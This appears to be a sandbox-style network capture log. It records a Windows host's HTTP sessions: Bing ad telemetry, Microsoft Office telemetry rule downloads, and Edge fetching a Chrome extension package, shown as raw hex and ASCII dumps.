2024-11-27 10:14:39 UTC	474	OUT	GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=6b4959b1f9494f1c9ebec893425386ae&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=2560C4E62DCB672207BDD1A22CE26611; MSPTC=mr-A-UZGRUKPTZKrE48WKOqXUtmslCNcT-kMucGsW6E; MR=0
2024-11-27 10:14:40 UTC	599	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 7D4EFE89CD794C7F82C71676317554EF Ref B: EWR30EDGE0219 Ref C: 2024-11-27T10:14:39Z Date: Wed, 27 Nov 2024 10:14:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:40 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:40 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101440Z-174f7845968cdxdrhC1EWRg0en0000000wqg000000006z95 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:40 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:40 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:40 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101440Z-174f7845968g6hv8hC1EWR1v2n00000004q0000000006gqw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:40 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:40 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:40 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: c6f16635-c01e-0034-4354-402af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101440Z-174f7845968l4kp6hC1EWRe8840000000x4g000000000r5e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:41 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:40 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101440Z-174f7845968nxc96hC1EWRspw80000000wkg0000000033eg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:40 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:40 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101440Z-174f7845968nxc96hC1EWRspw80000000wfg00000000715s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:41 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49831	142.250.181.65	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:41 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:41 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC40JuKeWi09IlidgJzdwnB85_wF1eJ2XjVMAmpyXMVcNz2b4RW9T8-1zaN1sSIN4kxE6mBvKlZsrQ X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Tue, 26 Nov 2024 16:45:00 GMT Expires: Wed, 26 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 62981 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-27 10:14:41 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-27 10:14:41 UTC	1390	IN	Data Raw: 5f b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c Data Ascii: _V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\
2024-11-27 10:14:41 UTC	1390	IN	Data Raw: 8e b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FS
2024-11-27 10:14:41 UTC	1390	IN	Data Raw: eb 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-27 10:14:41 UTC	1390	IN	Data Raw: 48 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 Data Ascii: H? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-27 10:14:41 UTC	1390	IN	Data Raw: 50 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 Data Ascii: P=[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-27 10:14:41 UTC	1390	IN	Data Raw: ee 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-27 10:14:41 UTC	1390	IN	Data Raw: 8f 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-27 10:14:41 UTC	1390	IN	Data Raw: 3f a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 Data Ascii: ?wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mes
